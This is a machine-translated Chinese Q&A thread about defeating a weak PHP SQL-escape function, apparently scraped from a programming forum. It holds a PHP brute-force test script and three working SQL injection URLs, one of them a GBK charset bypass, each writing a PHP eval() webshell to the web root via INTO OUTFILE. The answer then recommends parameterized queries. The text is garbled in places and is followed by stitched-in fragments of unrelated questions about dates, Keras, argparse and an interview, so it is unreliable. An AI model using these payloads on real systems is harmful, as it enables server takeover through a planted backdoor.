在我正在开发的应用程序中,我发现了一个弱脱逃功能以防止注入。我试图证明这一点,但是我很难举一个简单的例子。
转义功能的工作方式如下(PHP示例)。
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
我意识到这不处理使用双引号(“)编码的值,但是所有查询都是使用单引号(’)构造的。
谁能打败这个逃生功能?
要求:
简单的例子:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
如果您 只是 用替换'
,''
则可以通过注入a来利用它,\'
这将变成a
\''
,这将使您突围而出,因为这给了您“字符文字”单引号和真实的单引号。但是,用替换"\\"
可以"\\\\"
抵消此攻击。双单引号用于“转义”
MS-SQL的单引号,但这不适用于MySQL,但可以使用。
以下代码 证明 此转义功能对于除以下 三种情况 以外的所有 条件
都是安全的。该代码对控制宪章的所有可能变体进行排列,并测试每一个,以确保使用单引号括住的select语句不会发生错误。此代码已在MySQL
5.1.41上进行了测试。
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
漏洞条件1:不使用引号。
mysql_query("select username from users where id=".escape($_GET['id']));
开发:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
漏洞条件2:使用双引号
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
开发:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
漏洞条件2:使用单引号,但是使用 替代字符集。。
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
开发:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
结论是始终将其mysql_real_escape_string()
用作MySQL的转义例程。mysql_real_escape_string()
连接到mysql数据库时,始终使用参数化查询库(如pdo和adodb)。
addslashes()
为 更好的
逃生程序,因为它需要照顾的弱势状况2.应当指出的是,甚至没有mysql_real_escape_string()
停止条件1,但是参数化查询库意愿。
问题内容: 我在mysql表中有几个日期,使用这些日期我需要找出一个月中的天数。假设我有2003-02-05,它应该返回28。例如 问题答案:
本文向大家介绍如何使用COALESCE()函数将MySQL null转换为0?,包括了如何使用COALESCE()函数将MySQL null转换为0?的使用技巧和注意事项,需要的朋友参考一下 您可以使用该函数将MySQL null转换为0 让我们首先创建一个表。创建表的查询如下 使用insert命令在表中插入一些记录。 查询如下 使用select语句显示表中的所有记录。 查询如下 以下是输出 这是
我有一个损失函数内建的tenstorflow,它需要logits和标签作为输入: 问题是keras损失函数的格式不同: 它使用y_truey_pred作为输入, 我找到了一种在keras中获取Logit的方法,在模型的最后一层中使用线性激活而不是softmax。 但我需要我的模型在最后一层有softmax激活,你认为解决方案是什么?非常感谢。
我找的是计算机视觉方向,最终拿到了复星杏脉的offer. 面试过程比较简单,主要分几部分。 1. 问了很多项目相关的内容 2. 一些python的基础操作 3. 一道算法题 4. 针对图像分类任务类别不均匀的优化 5. 一些linux基础操作 很庆幸可以找到这个offer,最近太难找了。工资一般,只能说很多的是锻炼自己。 工作内容主要是医学图像的分类分割任务#暑期实习##计算机视觉实习#
我试图导入一个程序,并在其中使用几个函数,但我遇到了一个问题,与argparse有关。 在我想使用的函数中,创建者将其解析器参数传递给函数,如下所示。 我想知道如何在我正在编写的另一个程序中使用这个函数。我是否以某种方式创建了一个parser.parse_args()对象,其参数与他相同?我想到的一件事是使用subprocess.popen这样运行它: 但这似乎不太理想。我真的对如何处理argpa
本文向大家介绍创建一个MySQL函数并在列中找到平均值,包括了创建一个MySQL函数并在列中找到平均值的使用技巧和注意事项,需要的朋友参考一下 让我们首先创建一个表- 使用插入命令在表中插入一些记录- 使用select语句显示表中的所有记录- 这将产生以下输出- 以下是创建返回平均值的函数的查询- 现在您可以使用select语句调用该函数- 这将产生以下输出-